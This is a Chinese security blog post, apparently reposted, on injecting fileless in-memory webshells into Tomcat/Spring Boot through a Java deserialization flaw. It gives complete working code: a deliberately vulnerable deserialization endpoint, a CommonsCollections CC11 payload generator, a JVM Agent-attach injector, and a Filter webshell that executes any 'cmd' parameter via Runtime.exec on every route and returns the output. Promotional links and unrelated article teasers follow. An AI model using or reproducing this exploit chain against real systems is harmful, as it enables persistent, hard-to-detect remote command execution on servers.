结合反序列化注入tomcat内存马

news2024/11/24 22:44:55

0x01 前提概述

通过前几个内存马的学习我们可以知道,将内存马写在jsp文件上传并不是传统意义上的内存马注入,jsp文件本质上就是一个servlet,servlet会编译成class文件,也会实现文件落地。借用木头师傅的一张图

1.png

结合反序列化注入内存马是动态注入内存马的常用方法,然而通过反序列化注入的方式没有jsp文件的request内置类,所以获取回显的方式我们也需要考虑,在此写下这篇文章分析总结反序列化注入的方法细节。

 读者福利 | CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享(安全链接,放心点击)

0x02 搭建反序列化环境

反序列化就用CC链来打,引入springboot和commons-collections还有javassist库的依赖

<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-autoconfigure</artifactId>
<version>2.5.6</version>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
<version>2.5.6</version>
<scope>compile</scope>
</dependency>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.28.0-GA</version>
</dependency>

编写一个控制器类,实现一个反序列化入口的路由

@RequestMapping("/attack")
@ResponseBody
public String evalTest(@RequestParam String data) throws IOException, ClassNotFoundException {
byte[] decode = Base64.getDecoder().decode(data);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
byteArrayOutputStream.write(decode);
ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray()));
objectInputStream.readObject();
return "Success";
}

编写springboot的启动程序

import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.context.annotation.ComponentScan;

@SpringBootApplication
@ComponentScan("com.controller")
public class Application {

public static void main(String[] args){
SpringApplication.run(Application.class);
}
}

注入反序列化的话需要类加载,而cc2,cc3和cc11最终都是通过类加载来执行恶意代码,在本篇文章中就用cc11来作例子,cc11的代码逻辑不在分析,可以先看看网上的分析文章。

最后贴上CC1的代码:

package com.serialize;


import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

public class CC11SerializeTest {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
Field field;
TemplatesImpl templates = new TemplatesImpl();
byte[] evil = Files.readAllBytes(Paths.get("D:\\tmp\\classes\\test.class"));

field = TemplatesImpl.class.getDeclaredField("_name");
field.setAccessible(true);
field.set(templates, "1234");

field = TemplatesImpl.class.getDeclaredField("_bytecodes");
field.setAccessible(true);
field.set(templates, new byte[][]{evil});

field = TemplatesImpl.class.getDeclaredField("_tfactory");
field.setAccessible(true);
field.set(templates, new TransformerFactoryImpl());

Transformer transformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});
Map lazyMap = LazyMap.decorate(new HashMap<Object, Object>(), transformer);
Map tmp = new HashMap<>();

TiedMapEntry tiedMapEntry = new TiedMapEntry(tmp, templates);

HashMap<Object, Object>hashMap = new HashMap<Object, Object>();
hashMap.put(tiedMapEntry, 1);

field = TiedMapEntry.class.getDeclaredField("map");
field.setAccessible(true);
field.set(tiedMapEntry, lazyMap);

//        serialize(hashMap);
//        unserialize("web.ser");

ByteArrayOutputStream baor = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baor);
oos.writeObject(hashMap);
oos.close();
System.out.println(new String(Base64.getEncoder().encode(baor.toByteArray())));
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream out_obj1 = new ObjectOutputStream(new FileOutputStream("web.ser"));
out_obj1.writeObject(obj);
out_obj1.close();
}

public static  Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream obj2 = new ObjectInputStream(new FileInputStream(Filename));
Object ois = obj2.readObject();
return ois;
}
}

0x03 反序列化注入内存马分析

注入Agent内存马

注入Agent内存马需要加载Agent的jar包,通过 VirtualMachine 类启动后加载Agent.jar,需要满足两个前提操作

VirtualMachine.attach方法获取正在运行的jvm的进程号

loadAgent 方法动态注册代理程序Agent

利用反序列化打的时候对于像 VirtualMachine 的类不能直接new,获取一个 URLClassLoader 类加载器对VirtualMachine 类和 MyVirtualMachineDescriptor 进行类加载

java.io.File toolsPath = new java.io.File(System.getProperty("java.home").replace("jre","lib") + java.io.File.separator + "tools.jar");
java.net.URL url = toolsPath.toURI().toURL();
java.net.URLClassLoader classLoader = new java.net.URLClassLoader(new java.net.URL[]{url});
Class/*<?>*/ MyVirtualMachine = classLoader.loadClass("com.sun.tools.attach.VirtualMachine");
Class/*<?>*/ MyVirtualMachineDescriptor = classLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor");

jvm运行的进程号不能直接通过Jps -l获取

VirtualMachine 类有一个list 方法,它的目的是列出当前系统中所有正在运行的 Java 虚拟机(JVM)进程的描述符

2.png

用if条件判断当前运行的JVM,然后获取进程号,通过反射修改id属性,最后利用反射调用 loadAgent 方法动态注册Agent的jar包,最终的执行类为

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.File;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;
import java.util.List;

public class test extends AbstractTranslet {
static {
try {
System.out.println("Hello");
String path = "D:\\javaweb\\java\\java-agentShell\\java-agent\\out\\artifacts\\java_agent_jar\\java-agent.jar";
File toolsPath = new File(System.getProperty("java.home").replace("jre", "lib") + File.separator + "tools.jar");
URL url = toolsPath.toURI().toURL();
URLClassLoader classLoader = new URLClassLoader(new URL[] { url });
Class<?> MyVirtualMachine = classLoader.loadClass("com.sun.tools.attach.VirtualMachine");
Class<?> MyVirtualMachineDescriptor = classLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor");
Method listMethod = MyVirtualMachine.getDeclaredMethod("list", null);
List list = (List)listMethod.invoke(MyVirtualMachine, null);
System.out.println("Running JVM list ...");
for (int i = 0; i < list.size(); i++) {
Object o = list.get(i);
Method displayName = MyVirtualMachineDescriptor.getDeclaredMethod("displayName", null);
String name = (String)displayName.invoke(o, null);
if (name.contains("Application")) {
Method getId = MyVirtualMachineDescriptor.getDeclaredMethod("id", null);
String id = (String)getId.invoke(o, null);
System.out.println("id >>> " + id);
Method attach = MyVirtualMachine.getDeclaredMethod("attach", new Class[] { String.class });
Object vm = attach.invoke(o, new Object[] { id });
Method loadAgent = MyVirtualMachine.getDeclaredMethod("loadAgent", new Class[] { String.class });
loadAgent.invoke(vm, new Object[] { path });
Method detach = MyVirtualMachine.getDeclaredMethod("detach", null);
detach.invoke(vm, null);
System.out.println("Agent.jar Inject Success !!");
break;
} 
} 
} catch (Exception e) {
e.printStackTrace();
} 
}

public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}

public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
}

在CC链中动态加载字节码,需要将恶意类继承 AbstractTranslet 接口

启动springboot程序,访问attack路由

将序列化的base64编码打进去

Agent代理是通过字节码修改Filter,添加恶意代码

3.png

通过控制台日志可以看到已经修改成功了

4.png

内存马注入成功

5.png

任何路由都能获得命令回显。

获取request和response注入内存马

jsp文件中内置了 request 和 response 能够直接获取,可以在 response 写我们回显的内容。在通过反序列化注入的时候,我们需要通过一些手段获取到这两个类。

在ApplicationFilterChain类中定义了可以储存 request 和 response 的两个静态变量,分别为lastServicedRequest和lastServicedResponse

6.png

全局搜索这两个变量,发现一处重要的代码逻辑

7.png

如果 WRAP_SAME_OBJECT 是为true,lastServicedRequest 和 lastServicedResponse这两个静态变量就将request和response 放进去,在命令执行的时候就可以将执行结果写入回显中了。

首先修改 WRAP_SAME_OBJECT 属性,在 ApplicationDispatcher 类里

8.png

final字段修饰,不可更改,首先通过反射将 final 字段移除,final 字段通常会存储在 java.lang.reflect.Field类中的modifiers字段,

9.png

接着就是对lastServicedRequest 和 lastServicedResponse这两个字段初始化,初始化之后这两个字段就会储存Request和Response这两个对象,获取回显应该没太大问题。

剩下的就是动态注册Filter内存马了,Filter内存马之前分析过,在这篇文章就结合木头师傅文章里的EXP说一下流程

首先编写一个恶意的注入类,需要继承 AbstractTranslet 和 Filter 两大接口,前者是为了打CC链时能成功加载字节码,后者是为了动态注入一个恶意的Filter、

定义好参数以及路由

10.png

接着获取 StandardContext 上下文,这是必须的,使用doFilter方法将我们自定义的过滤器添加进去

在这个方法里

12.png

this.context.getState() 在运行时返回的state已经是 LifecycleState.STARTED 了,所以直接就抛异常了,filter根本就添加不进去。我们可以在filter添加之前修改state为 LifecycleState.STARTING_PREP ,使其跳过if,添加完成后,再将state恢复成 LifecycleState.STARTED。对应修改的代码

13.png

filter添加完成后,需要执行 filterStart 方法初始化过滤器,执行的代码

14.png

贴上完整的EXP

package com.serialize.javaagent;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.LifecycleState;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;

import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import javax.servlet.Filter;
import javax.servlet.FilterChain;
import javax.servlet.FilterConfig;
import javax.servlet.ServletContext;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;

/**
* @author threedr3am
*/
public class TomcatInject extends AbstractTranslet implements Filter {

/**
* webshell命令参数名
*/
private final String cmdParamName = "cmd";
private final static String filterUrlPattern = "/*";
private final static String filterName = "Xilitter";

static {
try {
ServletContext servletContext = getServletContext();
if (servletContext != null){
Field ctx = servletContext.getClass().getDeclaredField("context");
ctx.setAccessible(true);
ApplicationContext appctx = (ApplicationContext) ctx.get(servletContext);

Field stdctx = appctx.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(appctx);

if (standardContext != null){
// 这样设置不会抛出报错
Field stateField = org.apache.catalina.util.LifecycleBase.class
.getDeclaredField("state");
stateField.setAccessible(true);
stateField.set(standardContext, LifecycleState.STARTING_PREP);

Filter myFilter =new TomcatInject();
// 调用 doFilter 来动态添加我们的 Filter
// 这里也可以利用反射来添加我们的 Filter
javax.servlet.FilterRegistration.Dynamic filterRegistration =
servletContext.addFilter(filterName,myFilter);

// 进行一些简单的设置
filterRegistration.setInitParameter("encoding", "utf-8");
filterRegistration.setAsyncSupported(false);
// 设置基本的 url pattern
filterRegistration
.addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false,
new String[]{"/*"});

// 将服务重新修改回来,不然的话服务会无法正常进行
if (stateField != null){
stateField.set(standardContext,org.apache.catalina.LifecycleState.STARTED);
}

// 在设置之后我们需要 调用 filterstart
if (standardContext != null){
// 设置filter之后调用 filterstart 来启动我们的 filter
Method filterStartMethod = StandardContext.class.getDeclaredMethod("filterStart");
filterStartMethod.setAccessible(true);
filterStartMethod.invoke(standardContext,null);

/**
* 将我们的 filtermap 插入到最前面
*/

Class ccc = null;
try {
ccc = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
} catch (Throwable t){}
if (ccc == null) {
try {
ccc = Class.forName("org.apache.catalina.deploy.FilterMap");
} catch (Throwable t){}
}
//把filter插到第一位
Method m = Class.forName("org.apache.catalina.core.StandardContext")
.getDeclaredMethod("findFilterMaps");
Object[] filterMaps = (Object[]) m.invoke(standardContext);
Object[] tmpFilterMaps = new Object[filterMaps.length];
int index = 1;
for (int i = 0; i < filterMaps.length; i++) {
Object o = filterMaps[i];
m = ccc.getMethod("getFilterName");
String name = (String) m.invoke(o);
if (name.equalsIgnoreCase(filterName)) {
tmpFilterMaps[0] = o;
} else {
tmpFilterMaps[index++] = filterMaps[i];
}
}
for (int i = 0; i < filterMaps.length; i++) {
filterMaps[i] = tmpFilterMaps[i];
}
}
}

}

} catch (Exception e) {
e.printStackTrace();
}
}

private static ServletContext getServletContext()
throws NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
ServletRequest servletRequest = null;
/*shell注入,前提需要能拿到request、response等*/
Class c = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
java.lang.reflect.Field f = c.getDeclaredField("lastServicedRequest");
f.setAccessible(true);
ThreadLocal threadLocal = (ThreadLocal) f.get(null);
//不为空则意味着第一次反序列化的准备工作已成功
if (threadLocal != null && threadLocal.get() != null) {
servletRequest = (ServletRequest) threadLocal.get();
}
//如果不能去到request,则换一种方式尝试获取

//spring获取法1
if (servletRequest == null) {
try {
c = Class.forName("org.springframework.web.context.request.RequestContextHolder");
Method m = c.getMethod("getRequestAttributes");
Object o = m.invoke(null);
c = Class.forName("org.springframework.web.context.request.ServletRequestAttributes");
m = c.getMethod("getRequest");
servletRequest = (ServletRequest) m.invoke(o);
} catch (Throwable t) {}
}
if (servletRequest != null)
return servletRequest.getServletContext();

//spring获取法2
try {
c = Class.forName("org.springframework.web.context.ContextLoader");
Method m = c.getMethod("getCurrentWebApplicationContext");
Object o = m.invoke(null);
c = Class.forName("org.springframework.web.context.WebApplicationContext");
m = c.getMethod("getServletContext");
ServletContext servletContext = (ServletContext) m.invoke(o);
return servletContext;
} catch (Throwable t) {}
return null;
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler)
throws TransletException {

}

@Override
public void init(FilterConfig filterConfig) throws ServletException {

}

@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse,
FilterChain filterChain) throws IOException, ServletException {
System.out.println(
"TomcatShellInject doFilter.....................................................................");
String cmd;
if ((cmd = servletRequest.getParameter(cmdParamName)) != null) {
Process process = Runtime.getRuntime().exec(cmd);
java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
new java.io.InputStreamReader(process.getInputStream()));
StringBuilder stringBuilder = new StringBuilder();
String line;
while ((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line + '\n');
}
servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
servletResponse.getOutputStream().flush();
servletResponse.getOutputStream().close();
return;
}
filterChain.doFilter(servletRequest, servletResponse);
}

@Override
public void destroy() {

}
}

启动springboot,用CC11的链将恶意类打进去

日志打印出信息,内存马注入成功

15.png

能够任意路由执行命令

16.png

网络安全学习资源分享:

给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

因篇幅有限,仅展示部分资料,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,需要点击下方链接即可前往获取 

读者福利 | CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享(安全链接,放心点击)

同时每个成长路线对应的板块都有配套的视频提供: 

大厂面试题

 

视频配套资料&国内外网安书籍、文档

当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料

所有资料共282G,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,可以扫描下方二维码或链接免费领取~ 

读者福利 | CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享(安全链接,放心点击) 

特别声明:

此教程为纯技术分享!本教程的目的决不是为那些怀有不良动机的人提供及技术支持!也不承担因为技术被滥用所产生的连带责任!本教程的目的在于最大限度地唤醒大家对网络安全的重视,并采取相应的安全措施,从而减少由网络安全而带来的经济损失。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1690563.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

​​​【收录 Hello 算法】10.1 二分查找

目录 10.1 二分查找 10.1.1 区间表示方法 10.1.2 优点与局限性 10.1 二分查找 二分查找&#xff08;binary search&#xff09;是一种基于分治策略的高效搜索算法。它利用数据的有序性&#xff0c;每轮缩小一半搜索范围&#xff0c;直至找到目标元素或搜索区间为空…

Python | Leetcode Python题解之第110题平衡二叉树

题目&#xff1a; 题解&#xff1a; class Solution:def isBalanced(self, root: TreeNode) -> bool:def height(root: TreeNode) -> int:if not root:return 0leftHeight height(root.left)rightHeight height(root.right)if leftHeight -1 or rightHeight -1 or a…

【论文笔记】| 定制化生成PuLID

PuLID: Pure and Lightning ID Customization via Contrastive Alignment ByteDance, arXiv:2404.16022v1 Theme: Customized generation 原文链接&#xff1a;https://arxiv.org/pdf/2404.16022 Main Work 提出了 Pure 和 Lightning ID 定制 (PuLID)&#xff0c;这是一种用于…

Golang | Leetcode Golang题解之第109题有序链表转换二叉搜索树

题目&#xff1a; 题解&#xff1a; var globalHead *ListNodefunc sortedListToBST(head *ListNode) *TreeNode {globalHead headlength : getLength(head)return buildTree(0, length - 1) }func getLength(head *ListNode) int {ret : 0for ; head ! nil; head head.Next…

数据分析【方差分析】四

方差分析的核心 什么是方差分析:方差分析是假设检验的一种延续与扩展,主要用于多个总体均值(三组或三组以上均值)是否相等做出假设检验,研究分类型自变量对数值型因变量的影响。 它的零假设和设备假设分别为: 单因素方差分析的前提条件 独立性 组内独立(随机抽样、…

618购物节快递量激增,EasyCVR视频智能分析助力快递网点智能升级

随着网络618购物节的到来&#xff0c;物流仓储与快递行业也迎来业务量暴增的情况。驿站网点和快递门店作为物流体系的重要组成部分&#xff0c;其安全性和运营效率日益受到关注。为了提升这些场所的安全防范能力和服务水平&#xff0c;实施视频智能监控方案显得尤为重要。 一、…

大语言模型实战——最小化agent

1. agent是什么 大模型拥有语言理解和推理能力后&#xff0c;就相当于拥有了大脑&#xff0c;要让模型发挥更大的潜力&#xff0c;就需要给它安装上手臂&#xff0c;让它拥有行动的能力。 而Agent就是一个将语言模型和外部工具结合起来的智能体&#xff0c;它使用语言模型的推…

AutosarMCAL开发——基于TC367、EBTresos 开发之PORT

目录 1. Port模块基础知识2.TC3x系列Port架构3.EB配置&#xff08;基于EB23 TC367&#xff09;4.总结 1. Port模块基础知识 输入模式&#xff1a; 上拉输入&#xff1a;默认情况下&#xff0c;引脚为高电平&#xff0c;通过上拉电路将信号拉高&#xff0c;然后通过TTL肖特基触…

汇智知了堂走进四川工商职业技术学院,赋能学生电商实战技能

5月17日&#xff0c;汇智知了堂作为业界知名的教育机构&#xff0c;走进四川工商职业技术学院&#xff0c;为该校学生带来了一场别开生面的产品拍摄培训。此次培训旨在提升学生们的电商实战技能&#xff0c;帮助他们更好地适应电商行业的快速发展。 在培训现场&#xff0c;汇…

播兔短剧模板:图鸟UI在前端短剧平台中的应用与实践

一、引言 随着移动互联网的快速发展&#xff0c;短剧平台因其短小精悍、内容丰富的特点&#xff0c;逐渐成为用户休闲娱乐的新宠。为了满足短剧平台对前端技术的需求&#xff0c;图鸟播兔短剧模板应运而生。该模板基于图鸟UI进行开发&#xff0c;采用纯前端技术&#xff0c;支…

【PROXYCHAINS】Kali Linux 上配置NAT PROXYCHAINS保姆级教程

kali linux配置agent 在博主配置kali 的时候遇到了一些小问题&#xff0c;主要就是连接一直报错超时。 方法一&#xff1a;优点&#xff1a;免费&#xff0c;但是agent很不稳定 搜索免费ip,在Google搜索free proxy list 检查可用ip 连接成功 cd /etcls |grep redsnano reds…

[力扣]——70.爬楼梯

题目描述&#xff1a; 假设你正在爬楼梯。需要 n 阶你才能到达楼顶。 每次你可以爬 1 或 2 个台阶。你有多少种不同的方法可以爬到楼顶呢&#xff1f; 本题较为简单&#xff0c;主要用到递归思想 int fun(int n,int memo[]) {if(memo[n]!-1) //如果备忘录中已经有记录了…

特征融合篇 | YOLOv8改进之利用新的空间金字塔池化FocalModulation取代SPPF

前言:Hello大家好,我是小哥谈。Focal Modulation Networks(FocalNets)的基本原理是替换自注意力(Self-Attention)模块,使用焦点调制(focal modulation)机制来捕捉图像中的长距离依赖和上下文信息。本文所做的改进是将新的空间金字塔池化FocalModulation取代SPPF模块。…

“从根到叶:使用决策树导航数据”

目录 一、说明 二、什么是决策树&#xff1f; 三、基本概念&#xff1a; 四、工作原理&#xff1a; 五、分类原理分析 5.1 信息熵&#xff1a; 5.2 信息增益&#xff1a; 5.3 基尼杂质&#xff1a; 5.4 基尼系数和熵的区别&#xff1a; 六、对于回归决策树&#xff1a; 6.1 均方…

【设计模式深度剖析】【2】【结构型】【装饰器模式】| 以去咖啡馆买咖啡为例 | 以穿衣服出门类比

&#x1f448;️上一篇:代理模式 目 录 装饰器模式定义英文原话直译如何理解呢&#xff1f;4个角色类图1. 抽象构件&#xff08;Component&#xff09;角色2. 具体构件&#xff08;Concrete Component&#xff09;角色3. 装饰&#xff08;Decorator&#xff09;角色4. 具体装饰…

vue + SpringBoot + flowable 实现工作流审批功能 (流程图部署)

目录 搭建前端vue项目 vue init webpack project_name 初始化项目 导入 element-ui 框架 npm install element-ui -s 设置 element-ui 全局配置 编辑 main.js 文件 import ElementUI from "element-ui"; // ui框架导入 import element-ui/lib/theme-chal…

基于PID控制器的天线方位角位置控制系统simulink建模与仿真

目录 1.课题概述 2.系统仿真结果 3.核心程序与模型 4.系统原理简介 5.完整工程文件 1.课题概述 基于PID控制器的天线方位角位置控制系统simulink建模与仿真。通过零极点配置的方式实现PID控制器的参数整定。 2.系统仿真结果 3.核心程序与模型 版本&#xff1a;MATLAB202…

【面试干货】杨辉三角形

【面试干货】杨辉三角形 1、实现思想2、代码实现 &#x1f496;The Begin&#x1f496;点点关注&#xff0c;收藏不迷路&#x1f496; 杨辉三角形&#xff08;也称帕斯卡三角形&#xff09;是一个规则的数字三角形&#xff0c;它的构造方法是&#xff0c;第一行只有一个数字1&a…

python-鸡兔同笼问题:已知鸡和兔的总头数与总脚数。求笼中鸡和兔各几只?

【问题描述】典型的鸡兔同笼问题。 【输入形式】输入总头数和总脚数两个实数&#xff1a;h&#xff0c;f 【输出形式】笼中鸡和兔的个数&#xff1a;x&#xff0c;y 【样例输入】16 40 【样例输出】鸡12只&#xff0c;兔4只 【样例说明】输入输出必须保证格式正确。…

FL Studio2025中文最新版本专业编曲软件有哪些新功能?

FL Studio 21&#xff0c;也被音乐制作爱好者亲切地称为“水果编曲软件”&#xff0c;是比利时的Image-Line公司研发的一款完整的音乐制作环境或数字音频工作站&#xff08;DAW&#xff09;。自从1990年代推出以来&#xff0c;FL Studio 以其直观的用户界面、丰富的插件支持和强…